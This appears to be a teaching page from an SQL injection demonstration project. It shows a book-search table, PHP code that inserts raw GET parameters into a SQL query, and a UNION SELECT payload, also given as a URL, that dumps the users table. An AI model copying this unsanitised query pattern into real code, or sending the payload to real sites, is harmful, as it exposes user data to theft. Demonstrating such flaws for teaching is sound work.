Vulnerable Search


 

#ID Title Author
1A Game of ThronesGeorge R. R. Martin
2A Clash of KingsGeorge R. R. Martin
3A Storm of SwordsGeorge R. R. Martin
4A Feast for CrowsGeorge R. R. Martin
5A Dance with DragonsGeorge R. R. Martin
6The Winds of WinterGeorge R. R. Martin
7A Dream of SpringGeorge R. R. Martin
8Software libero pensiero liberoRichard Stallman
9Perche' sono vegetarianaMargherita hack
10I miei primi novant'anni laici e ribelliMargherita hack
11A caccia dei misteri spaventosi del cieloMargherita hack
12In piena liberta' e consapevolezzaMargherita hack
13La mia vita in biciclettaMargherita hack

Query Executed:

SELECT * FROM books;

PHP Code:

if ($_GET['all'] == 1)
{
    $query = "SELECT * FROM books;";
}
else if ($_GET['title'] || $_GET['author'])
{
    $query = sprintf("SELECT * FROM books WHERE title = '%s' OR author = '%s';",
                             $_GET['title'],
                             $_GET['author']);
}

if ($query != null)
{
    $result = mysqli_query($connection, $query);

    while (($row = mysqli_fetch_row($result)) != null)
    {
        printf("<tr><td>%s</td><td>%s</td><td>%s</td></tr>", $row[0], $row[1], $row[2]);
    }
}

Vulnerability:

Pass ' UNION SELECT * FROM users WHERE '1'='1 as author to get all users data.

The same result is obtained by using url books1.php?author='+UNION+SELECT+*+FROM+users+WHERE '1'='1.

SQL Injection Demonstration Project